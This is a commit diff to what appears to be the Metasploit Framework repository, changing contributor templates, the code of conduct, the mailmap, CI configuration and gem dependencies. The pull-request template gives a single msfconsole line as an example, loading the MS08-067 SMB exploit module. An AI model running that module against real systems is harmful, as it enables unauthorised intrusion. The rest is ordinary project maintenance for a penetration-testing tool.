Update unstable
wchen-r7
commit
969abadba6
|
|
@ -0,0 +1,41 @@
|
|||
## Steps to reproduce
|
||||
|
||||
How'd you do it?
|
||||
|
||||
1. ...
|
||||
2. ...
|
||||
|
||||
This section should also tell us any relevant information about the
|
||||
environment; for example, if an exploit that used to work is failing,
|
||||
tell us the victim operating system and service versions.
|
||||
|
||||
## Expected behavior
|
||||
|
||||
What should happen?
|
||||
|
||||
## Current behavior
|
||||
|
||||
What happens instead?
|
||||
|
||||
You might also want to check the last ~1k lines of
|
||||
`/opt/metasploit/apps/pro/engine/config/logs/framework.log` or
|
||||
`~/.msf4/logs/framework.log` for relevant stack traces
|
||||
|
||||
|
||||
## System stuff
|
||||
|
||||
### Metasploit version
|
||||
|
||||
Get this with the `version` command in msfconsole (or `git log -1 --pretty=oneline` for a source install).
|
||||
|
||||
### I installed Metasploit with:
|
||||
- [ ] Kali package via apt
|
||||
- [ ] Omnibus installer (nightly)
|
||||
- [ ] Commercial/Community installer (from http://www.rapid7.com/products/metasploit/download.jsp)
|
||||
- [ ] Source install (please specify ruby version)
|
||||
|
||||
### OS
|
||||
|
||||
What OS are you running Metasploit on?
|
||||
|
||||
|
||||
|
|
@ -0,0 +1,14 @@
|
|||
|
||||
Tell us what this change does. If you're fixing a bug, please mention
|
||||
the github issue number.
|
||||
|
||||
## Verification
|
||||
|
||||
List the steps needed to make sure this thing works
|
||||
|
||||
- [ ] Start `msfconsole`
|
||||
- [ ] `use exploit/windows/smb/ms08_067_netapi`
|
||||
- [ ] ...
|
||||
- [ ] **Verify** the thing does what it should
|
||||
- [ ] **Verify** the thing does not do what it should not
|
||||
|
||||
|
|
@ -68,6 +68,8 @@ external/source/exploits/**/Release
|
|||
# Avoid checking in Meterpreter binaries. These are supplied upstream by
|
||||
# the metasploit-payloads gem.
|
||||
data/meterpreter/*.dll
|
||||
data/meterpreter/*.php
|
||||
data/meterpreter/*.py
|
||||
data/meterpreter/*.bin
|
||||
data/meterpreter/*.jar
|
||||
data/meterpreter/*.lso
|
||||
|
|
@ -82,3 +84,4 @@ data/meterpreter/ext_server_pivot.*.dll
|
|||
# Avoid checking in metakitty, the source for
|
||||
# https://rapid7.github.io/metasploit-framework. It's an orphan branch.
|
||||
/metakitty
|
||||
.vagrant
|
||||
|
|
|
|||
141
.mailmap
141
.mailmap
|
|
@ -1,48 +1,58 @@
|
|||
bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
|
||||
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
|
||||
ccatalan-r7 <ccatalan-r7@github> Christian Catalan <ccatalan@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> Deral Heiland <dh@layereddefense.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> dmaloney-r7 <DMaloney@rapid7.com>
|
||||
ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
|
||||
farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com>
|
||||
hmoore-r7 <hmoore-r7@github> HD Moore <hd_moore@rapid7.com>
|
||||
hmoore-r7 <hmoore-r7@github> HD Moore <hdm@digitaloffense.net>
|
||||
jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
|
||||
jlee-r7 <jlee-r7@github> <james_lee@rapid7.com>
|
||||
jlee-r7 <jlee-r7@github> <egypt@metasploit.com> # aka egypt
|
||||
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan.vazquez@metasploit.com>
|
||||
jvazquez-r7 <jvazquez-r7@github> jvazquez-r7 <juan_vazquez@rapid7.com>
|
||||
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
|
||||
limhoff-r7 <limhoff-r7@github> Luke Imhoff <luke_imhoff@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez+github@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@AUS-MAC-1041.local>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@aus-mac-1041.aus.rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> darkbushido <lance.sanchez@gmail.com>
|
||||
mbuck-r7 <mbuck-r7@github> Matt Buck <Matthew_Buck@rapid7.com>
|
||||
mbuck-r7 <mbuck-r7@github> Matt Buck <techpeace@gmail.com>
|
||||
mschloesser-r7 <mschloesser-r7@github> Mark Schloesser <mark_schloesser@rapid7.com>
|
||||
mschloesser-r7 <mschloesser-r7@github> mschloesser-r7 <mark_schloesser@rapid7.com>
|
||||
parzamendi-r7 <parzamendi-r7@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
|
||||
acammack-r7 <acammack-r7@github> Adam Cammack <Adam_Cammack@rapid7.com>
|
||||
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
|
||||
bcook-r7 <bcook-r7@github> Brent Cook <bcook@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> Brian Patterson <Brian_Patterson@rapid7.com>
|
||||
bpatterson-r7 <bpatterson-r7@github> bpatterson-r7 <Brian_Patterson@rapid7.com>
|
||||
bturner-r7 <bturner-r7@github> Brandon Turner <brandon_turner@rapid7.com>
|
||||
bwatters-r7 <bwatters-r7@github> Brendan <bwatters@rapid7.com>
|
||||
bwatters-r7 <bwatters-r7@github> Brendan Watters <bwatters@rapid7.com>
|
||||
cdoughty-r7 <cdoughty-r7@github> Chris Doughty <chris_doughty@rapid7.com>
|
||||
dheiland-r7 <dheiland-r7@github> Deral Heiland <dh@layereddefense.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <DMaloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> David Maloney <David_Maloney@rapid7.com>
|
||||
dmaloney-r7 <dmaloney-r7@github> dmaloney-r7 <DMaloney@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> Dev Mohanty <Dev_Mohanty@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> Dev Mohanty <Dev_Mohanty@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> dmohanty-r7 <Dev_Mohanty@rapid7.com>
|
||||
dmohanty-r7 <dmohanty-r7@github> dmohanty-r7 <Dev_Mohanty@rapid7.com>
|
||||
ecarey-r7 <ecarey-r7@github> Erran Carey <e@ipwnstuff.com>
|
||||
farias-r7 <farias-r7@github> Fernando Arias <fernando_arias@rapid7.com>
|
||||
gmikeska-r7 <gmikeska-r7@github> Greg Mikeska <greg_mikeska@rapid7.com>
|
||||
gmikeska-r7 <gmikeska-r7@github> Gregory Mikeska <greg_mikeska@rapid7.com>
|
||||
jbarnett-r7 <jbarnett-r7@github> James Barnett <James_Barnett@rapid7.com>
|
||||
jhart-r7 <jhart-r7@github> Jon Hart <jon_hart@rapid7.com>
|
||||
jlee-r7 <jlee-r7@github> <egypt@metasploit.com> # aka egypt
|
||||
jlee-r7 <jlee-r7@github> <james_lee@rapid7.com>
|
||||
kgray-r7 <kgray-r7@github> Kyle Gray <kyle_gray@rapid7.com>
|
||||
khayes-r7 <khayes-r7@github> l0gan <Kirk_Hayes@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez+github@gmail.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance.sanchez@rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@AUS-MAC-1041.local>
|
||||
lsanchez-r7 <lsanchez-r7@github> Lance Sanchez <lance@aus-mac-1041.aus.rapid7.com>
|
||||
lsanchez-r7 <lsanchez-r7@github> darkbushido <lance.sanchez@gmail.com>
|
||||
lsato-r7 <lsato-r7@github> Louis Sato <lsato@rapid7.com>
|
||||
pbarry-r7 <pbarry-r7@github> Pearce Barry <pearce_barry@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> Paul Deardorff <Paul_Deardorff@rapid7.com>
|
||||
pdeardorff-r7 <pdeardorff-r7@github> pdeardorff-r7 <paul_deardorff@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
|
||||
trosen-r7 <trosen-r7@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
|
||||
trosen-r7 <trosen-r7@github> Trevor Rosen <trevor@catapult-creative.com>
|
||||
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
|
||||
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@nmt.edu>
|
||||
wvu-r7 <wvu-r7@github> wvu-r7 <William_Vu@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> Scott Davis <Scott_Davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> Scott Lee Davis <scott_davis@rapid7.com>
|
||||
sdavis-r7 <sdavis-r7@github> Scott Lee Davis <sdavis@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sgonzalez@rapid7.com>
|
||||
sgonzalez-r7 <sgonzalez-r7@github> Sonny Gonzalez <sonny_gonzalez@rapid7.com>
|
||||
shuckins-r7 <shuckins-r7@github> Samuel Huckins <samuel_huckins@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> tdoan-r7 <thao_doan@rapid7.com>
|
||||
tdoan-r7 <tdoan-r7@github> thao doan <thao_doan@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <tod_beardsley@rapid7.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@metasploit.com>
|
||||
todb-r7 <todb-r7@github> Tod Beardsley <todb@packetfu.com>
|
||||
wchen-r7 <wchen-r7@github> <msfsinn3r@gmail.com> # aka sinn3r
|
||||
wchen-r7 <wchen-r7@github> <wei_chen@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <William_Vu@rapid7.com>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@cs.nmt.edu>
|
||||
wvu-r7 <wvu-r7@github> William Vu <wvu@metasploit.com>
|
||||
wvu-r7 <wvu-r7@github> wvu-r7 <William_Vu@rapid7.com>
|
||||
wwebb-r7 <wwebb-r7@github> William Webb <William_Webb@rapid7.com>
|
||||
wwebb-r7 <wwebb-r7@github> wwebb-r7 <William_Webb@rapid7.com>
|
||||
|
||||
# Above this line are current Rapid7 employees. Below this paragraph are
|
||||
# volunteers, former employees, and potential Rapid7 employees who, at
|
||||
|
|
@ -54,6 +64,8 @@ wvu-r7 <wvu-r7@github> wvu-r7 <William_Vu@rapid7.com>
|
|||
bannedit <bannedit@github> David Rude <bannedit0@gmail.com>
|
||||
bcoles <bcoles@github> bcoles <bcoles@gmail.com>
|
||||
bcoles <bcoles@github> Brendan Coles <bcoles@gmail.com>
|
||||
bokojan <bokojan@github> parzamendi-r7 <peter_arzamendi@rapid7.com>
|
||||
brandonprry <brandonprry@github> <bperry@brandons-mbp.attlocal.net>
|
||||
brandonprry <brandonprry@github> Brandon Perry <bperry.volatile@gmail.com>
|
||||
brandonprry <brandonprry@github> Brandon Perry <bperry@bperry-rapid7.(none)>
|
||||
brandonprry <brandonprry@github> Brandon Perry <brandon.perry@zenimaxonline.com>
|
||||
|
|
@ -65,30 +77,49 @@ Chao-mu <Chao-Mu@github> chao-mu <chao.mu@minorcrash.com>
|
|||
Chao-mu <Chao-Mu@github> chao-mu <chao@confusion.(none)>
|
||||
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <chris.riley@c22.cc>
|
||||
ChrisJohnRiley <ChrisJohnRiley@github> Chris John Riley <reg@c22.cc>
|
||||
claudijd <claudijd@github> Jonathan Claudius <claudijd@yahoo.com>
|
||||
claudijd <claudijd@github> Jonathan Claudius <jclaudius@trustwave.com>
|
||||
corelanc0d3r <corelanc0d3r@github> corelanc0d3r <peter.ve@corelan.be>
|
||||
corelanc0d3r <corelanc0d3r@github> Peter Van Eeckhoutte (corelanc0d3r) <peter.ve@corelan.be>
|
||||
crcatala <crcatala@github> Christian Catalan <ccatalan@rapid7.com>
|
||||
darkoperator <darkoperator@github> Carlos Perez <carlos_perez@darkoperator.com>
|
||||
efraintorres <efraintorres@github> efraintorres <etlownoise@gmail.com>
|
||||
efraintorres <efraintorres@github> et <>
|
||||
espreto <espreto@github> Roberto Soares <robertoespreto@gmail.com>
|
||||
espreto <espreto@github> Roberto Soares <robertoespreto@gmail.com>
|
||||
espreto <espreto@github> Roberto Soares Espreto <robertoespreto@gmail.com>
|
||||
espreto <espreto@github> Roberto Soares Espreto <robertoespreto@gmail.com>
|
||||
fab <fab@???> fab <> # fab at revhosts.net (Fabrice MOURRON)
|
||||
FireFart <FireFart@github> Christian Mehlmauer <firefart@gmail.com>
|
||||
FireFart <FireFart@github> <FireFart@users.noreply.github.com>
|
||||
FireFart <FireFart@github> Christian Mehlmauer <firefart@gmail.com>
|
||||
g0tmi1k <g0tmi1k@github> <g0tmi1k@users.noreply.github.com>
|
||||
g0tmi1k <g0tmi1k@github> <have.you.g0tmi1k@gmail.com>
|
||||
h0ng10 <h0ng10@github> h0ng10 <hansmartin.muench@googlemail.com>
|
||||
h0ng10 <h0ng10@github> Hans-Martin Münch <hansmartin.muench@googlemail.com>
|
||||
jcran <jcran@github> <jcran@pwnieexpress.com>
|
||||
jcran <jcran@github> <jcran@pentestify.com>
|
||||
hdm <hdm@github> HD Moore <hd_moore@rapid7.com>
|
||||
hdm <hdm@github> HD Moore <hdm@digitaloffense.net>
|
||||
hdm <hdm@github> HD Moore <x@hdm.io>
|
||||
jabra <jabra@github> Josh Abraham <jabra@spl0it.org>
|
||||
jabra <jabra@github> Joshua Abraham <jabra@spl0it.org>
|
||||
jcran <jcran@github> <jcran@0x0e.org>
|
||||
jcran <jcran@github> <jcran@pentestify.com>
|
||||
jcran <jcran@github> <jcran@pwnieexpress.com>
|
||||
jcran <jcran@github> <jcran@rapid7.com>
|
||||
jduck <jduck@github> <github.jdrake@qoop.org>
|
||||
jduck <jduck@github> <jdrake@qoop.org>
|
||||
jgor <jgor@github> jgor <jgor@indiecom.org>
|
||||
joevennix <joevennix@github> <Joe_Vennix@rapid7.com>
|
||||
joevennix <joevennix@github> <joev@metasploit.com>
|
||||
joevennix <joevennix@github> Joe Vennix <joevennix@gmail.com>
|
||||
joevennix <joevennix@github> jvennix-r7 <Joe_Vennix@rapid7.com>
|
||||
juanvazquez <juanvazquez@github> jvazquez-r7 <juan.vazquez@metasploit.com>
|
||||
juanvazquez <juanvazquez@github> jvazquez-r7 <juan_vazquez@rapid7.com>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@kernelsmith.com>
|
||||
kernelsmith <kernelsmith@github> Joshua Smith <kernelsmith@metasploit.com>
|
||||
kernelsmith <kernelsmith@github> kernelsmith <kernelsmith@kernelsmith>
|
||||
kost <kost@github> Vlatko Kosturjak <kost@linux.hr>
|
||||
kris <kris@???> kris <>
|
||||
KronicDeth <KronicDeth@github> Luke Imhoff <luke_imhoff@rapid7.com>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <github@s3cur1ty.de>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <m1k3@s3cur1ty.de>
|
||||
m-1-k-3 <m-1-k-3@github> m-1-k-3 <michael.messner@integralis.com>
|
||||
|
|
@ -96,6 +127,7 @@ m-1-k-3 <m-1-k-3@github> Michael Messner <devnull@s3cur1ty.de>
|
|||
Meatballs1 <Meatballs1@github> <eat_meatballs@hotmail.co.uk>
|
||||
Meatballs1 <Meatballs1@github> <Meatballs1@users.noreply.github.com>
|
||||
mubix <mubix@github> Rob Fuller <jd.mubix@gmail.com>
|
||||
net-ninja <net-ninja@github.com> Steven Seeley <steventhomasseeley@gmail.com>
|
||||
nevdull77 <nevdull77@github> Patrik Karlsson <patrik@cqure.net>
|
||||
nmonkee <nmonkee@github> nmonkee <dave@northern-monkee.co.uk>
|
||||
nullbind <nullbind@github> nullbind <scott.sutherland@nullbind.com>
|
||||
|
|
@ -105,6 +137,8 @@ oj <oj@github> <oj@buffered.io>
|
|||
r3dy <r3dy@github> Royce Davis <r3dy@Royces-MacBook-Pro.local>
|
||||
r3dy <r3dy@github> Royce Davis <rdavis@Royces-MacBook-Pro-2.local>
|
||||
r3dy <r3dy@github> Royce Davis <royce.e.davis@gmail.com>
|
||||
rep <mschloesser-r7@github> Mark Schloesser <mark_schloesser@rapid7.com>
|
||||
rep <mschloesser-r7@github> mschloesser-r7 <mark_schloesser@rapid7.com>
|
||||
Rick Flores <0xnanoquetz9l@gmail.com> Rick Flores (nanotechz9l) <0xnanoquetz9l@gmail.com>
|
||||
rsmudge <rsmudge@github> Raphael Mudge <rsmudge@gmail.com> # Aka `butane
|
||||
schierlm <schierlm@github> Michael Schierl <schierlm@gmx.de> # Aka mihi
|
||||
|
|
@ -112,16 +146,29 @@ scriptjunkie <scriptjunkie@github> Matt Weeks <scriptjunkie@scriptjunkie.us>
|
|||
scriptjunkie <scriptjunkie@github> scriptjunkie <scriptjunkie@scriptjunkie.us>
|
||||
skape <skape@???> Matt Miller <mmiller@hick.org>
|
||||
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
|
||||
stufus <stufus@github> Stuart <stufus@users.noreply.github.com>
|
||||
stufus <stufus@github> Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
|
||||
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
|
||||
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
|
||||
techpeace <techpeace@github> Matt Buck <Matthew_Buck@rapid7.com>
|
||||
techpeace <techpeace@github> Matt Buck <techpeace@gmail.com>
|
||||
timwr <timwr@github> <timrlw@gmail.com>
|
||||
TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net>
|
||||
trevrosen <trevrosen@github> Trevor Rosen <trevor@catapult-creative.com>
|
||||
trevrosen <trevrosen@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
|
||||
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
|
||||
void-in <void-in@github> root <void-in@users.noreply.github.com>
|
||||
void-in <void-in@github> void-in <root@localhost.localdomain>
|
||||
void-in <void-in@github> void-in <waqas.bsquare@gmail.com>
|
||||
void-in <void-in@github> void_in <root@localhost.localdomain>
|
||||
void-in <void-in@github> Waqas Ali <waqas.bsquare@gmail.com>
|
||||
zeroSteiner <zeroSteiner@github> Spencer McIntyre <zeroSteiner@gmail.com>
|
||||
|
||||
# Aliases for utility author names. Since they're fake, typos abound
|
||||
|
||||
Tab Assassin <tabassassin@metasploit.com> Tabassassin <tabassassin@metasploit.com>
|
||||
Metasploit Bot <metasploit@rapid7.com> Metasploit <metasploit@rapid7.com>
|
||||
Jenkins Bot <jenkins@rapid7.com> Jenkins <jenkins@rapid7.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> TabAssassin <tabasssassin@metasploit.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> Tabassassin <tabassassin@metasploit.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> Tabasssassin <tabassassin@metasploit.com>
|
||||
Tab Assassin <tabassassin@metasploit.com> URI Assassin <tabassassin@metasploit.com>
|
||||
|
|
|
|||
|
|
@ -1 +1 @@
|
|||
2.1.7
|
||||
2.3.1
|
||||
|
|
|
|||
24
.travis.yml
24
.travis.yml
|
|
@ -1,11 +1,22 @@
|
|||
sudo: false
|
||||
group: stable
|
||||
bundler_args: --without coverage development pcap
|
||||
cache: bundler
|
||||
addons:
|
||||
postgresql: '9.3'
|
||||
apt:
|
||||
packages:
|
||||
- libpcap-dev
|
||||
- graphviz
|
||||
language: ruby
|
||||
rvm:
|
||||
- '2.3.1'
|
||||
|
||||
env:
|
||||
- RAKE_TASKS="cucumber cucumber:boot"
|
||||
- RAKE_TASKS="cucumber cucumber:boot" CREATE_BINSTUBS=true
|
||||
- RAKE_TASKS=spec SPEC_OPTS="--tag content"
|
||||
- RAKE_TASKS=spec SPEC_OPTS="--tag ~content"
|
||||
|
||||
language: ruby
|
||||
matrix:
|
||||
fast_finish: true
|
||||
before_install:
|
||||
|
|
@ -23,9 +34,6 @@ before_script:
|
|||
script:
|
||||
# fail build if db/schema.rb update is not committed
|
||||
- git diff --exit-code db/schema.rb && bundle exec rake $RAKE_TASKS
|
||||
sudo: false
|
||||
rvm:
|
||||
- '2.1.7'
|
||||
|
||||
notifications:
|
||||
irc: "irc.freenode.org#msfnotify"
|
||||
|
|
@ -38,9 +46,3 @@ branches:
|
|||
except:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
|
||||
addons:
|
||||
postgresql: '9.3'
|
||||
apt:
|
||||
packages:
|
||||
- libpcap-dev
|
||||
|
|
|
|||
|
|
@ -0,0 +1,52 @@
|
|||
# Contributor Code of Conduct
|
||||
|
||||
As contributors and maintainers of this project, and in the interest of
|
||||
fostering an open and welcoming community, we pledge to respect all people who
|
||||
contribute through reporting issues, posting feature requests, updating
|
||||
documentation, submitting pull requests or patches, and other activities.
|
||||
|
||||
We are committed to making participation in this project a harassment-free
|
||||
experience for everyone, regardless of level of experience, gender, gender
|
||||
identity and expression, sexual orientation, disability, personal appearance,
|
||||
body size, race, ethnicity, age, religion, or nationality.
|
||||
|
||||
Examples of unacceptable behavior by participants include:
|
||||
|
||||
* The use of sexualized language or imagery
|
||||
* Personal attacks
|
||||
* Trolling or insulting/derogatory comments
|
||||
* Public or private harassment
|
||||
* Publishing other's private information, such as physical or electronic
|
||||
addresses, without explicit permission
|
||||
* Other unethical or unprofessional conduct
|
||||
|
||||
Project maintainers have the right and responsibility to remove, edit, or
|
||||
reject comments, commits, code, wiki edits, issues, and other contributions
|
||||
that are not aligned to this Code of Conduct, or to ban temporarily or
|
||||
permanently any contributor for other behaviors that they deem inappropriate,
|
||||
threatening, offensive, or harmful.
|
||||
|
||||
By adopting this Code of Conduct, project maintainers commit themselves to
|
||||
fairly and consistently applying these principles to every aspect of managing
|
||||
this project. Project maintainers who do not follow or enforce the Code of
|
||||
Conduct may be permanently removed from the project team.
|
||||
|
||||
This Code of Conduct applies both within project spaces and in public spaces
|
||||
when an individual is representing the project or its community.
|
||||
|
||||
Instances of abusive, harassing, or otherwise unacceptable behavior may be
|
||||
reported by contacting the project maintainers at msfdev@metasploit.com. If
|
||||
the incident involves a committer, you may report directly to
|
||||
egypt@metasploit.com or todb@metasploit.com.
|
||||
|
||||
All complaints will be reviewed and investigated and will result in a
|
||||
response that is deemed necessary and appropriate to the circumstances.
|
||||
Maintainers are obligated to maintain confidentiality with regard to the
|
||||
reporter of an incident.
|
||||
|
||||
This Code of Conduct is adapted from the [Contributor Covenant][homepage],
|
||||
version 1.3.0, available at
|
||||
[http://contributor-covenant.org/version/1/3/0/][version]
|
||||
|
||||
[homepage]: http://contributor-covenant.org
|
||||
[version]: http://contributor-covenant.org/version/1/3/0/
|
||||
|
|
@ -37,6 +37,7 @@ and Metasploit's [Common Coding Mistakes].
|
|||
* **Do** follow the [50/72 rule] for Git commit messages.
|
||||
* **Don't** use the default merge messages when merging from other branches.
|
||||
* **Do** create a [topic branch] to work on instead of working directly on `master`.
|
||||
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
|
||||
|
||||
### Pull Requests
|
||||
|
||||
|
|
@ -44,6 +45,7 @@ and Metasploit's [Common Coding Mistakes].
|
|||
* **Do** specify a descriptive title to make searching for your pull request easier.
|
||||
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
|
||||
* **Do** list [verification steps] so your code is testable.
|
||||
* **Do** [reference associated issues] in your pull request description
|
||||
* **Don't** leave your pull request description blank.
|
||||
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
|
||||
|
||||
|
|
@ -51,10 +53,14 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
|
|||
|
||||
#### New Modules
|
||||
|
||||
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up.
|
||||
* **Do** run `tools/dev/msftidy.rb` against your module and fix any errors or warnings that come up.
|
||||
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
|
||||
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
|
||||
* **Don't** include more than one module per pull request.
|
||||
* **Do** include instructions on how to setup the vulnerable environment or software
|
||||
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs
|
||||
|
||||
|
||||
|
||||
#### Scripts
|
||||
|
||||
|
|
@ -101,6 +107,7 @@ already way ahead of the curve, so keep it up!
|
|||
[topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches
|
||||
[console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks
|
||||
[verification steps]:https://help.github.com/articles/writing-on-github#task-lists
|
||||
[reference associated issues]:https://github.com/blog/1506-closing-issues-via-pull-requests
|
||||
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
|
||||
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
|
||||
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
|
||||
|
|
|
|||
2
COPYING
2
COPYING
|
|
@ -1,4 +1,4 @@
|
|||
Copyright (C) 2006-2015, Rapid7, Inc.
|
||||
Copyright (C) 2006-2016, Rapid7, Inc.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
|
|
|
|||
13
Gemfile
13
Gemfile
|
|
@ -18,20 +18,21 @@ group :development do
|
|||
gem 'yard'
|
||||
# for development and testing purposes
|
||||
gem 'pry'
|
||||
# module documentation
|
||||
gem 'octokit', '~> 4.0'
|
||||
# rails-upgrade staging gems
|
||||
end
|
||||
|
||||
group :development, :test do
|
||||
# automatically include factories from spec/factories
|
||||
gem 'factory_girl_rails', '~> 4.5.0'
|
||||
gem 'factory_girl_rails'
|
||||
# Make rspec output shorter and more useful
|
||||
gem 'fivemat', '1.2.1'
|
||||
gem 'fivemat'
|
||||
# running documentation generation tasks and rspec tasks
|
||||
gem 'rake', '>= 10.0.0'
|
||||
# testing framework
|
||||
gem 'rspec', '>= 2.12', '< 3.0.0'
|
||||
gem 'rake'
|
||||
# Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the
|
||||
# environment is development
|
||||
gem 'rspec-rails' , '>= 2.12', '< 3.0.0'
|
||||
gem 'rspec-rails'
|
||||
end
|
||||
|
||||
group :test do
|
||||
|
|
|
|||
362
Gemfile.lock
362
Gemfile.lock
|
|
@ -1,233 +1,280 @@
|
|||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.11.5)
|
||||
actionpack (>= 4.0.9, < 4.1.0)
|
||||
activerecord (>= 4.0.9, < 4.1.0)
|
||||
activesupport (>= 4.0.9, < 4.1.0)
|
||||
metasploit-framework (4.12.15)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
bcrypt
|
||||
bit-struct
|
||||
filesize
|
||||
jsobfu (~> 0.3.0)
|
||||
jsobfu
|
||||
json
|
||||
metasm (~> 1.0.2)
|
||||
metasploit-concern (= 1.0.0)
|
||||
metasploit-credential (= 1.0.1)
|
||||
metasploit-model (= 1.0.0)
|
||||
metasploit-payloads (= 1.0.16)
|
||||
metasploit_data_models (= 1.2.9)
|
||||
metasm
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.1.13)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle
|
||||
msgpack
|
||||
network_interface (~> 0.0.1)
|
||||
net-ssh
|
||||
network_interface
|
||||
nokogiri
|
||||
packetfu (= 1.1.11)
|
||||
octokit
|
||||
openssl-ccm
|
||||
packetfu
|
||||
patch_finder
|
||||
pcaprub
|
||||
pg (>= 0.11)
|
||||
pg
|
||||
railties
|
||||
rb-readline-r7
|
||||
recog (= 2.0.14)
|
||||
recog
|
||||
redcarpet
|
||||
rex-java
|
||||
rex-powershell
|
||||
rex-random_identifier
|
||||
rex-registry
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-zip
|
||||
robots
|
||||
rubyzip (~> 1.1)
|
||||
rubyzip
|
||||
sqlite3
|
||||
sshkey
|
||||
tzinfo
|
||||
tzinfo-data
|
||||
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
actionmailer (4.0.13)
|
||||
actionpack (= 4.0.13)
|
||||
mail (~> 2.5, >= 2.5.4)
|
||||
actionpack (4.0.13)
|
||||
activesupport (= 4.0.13)
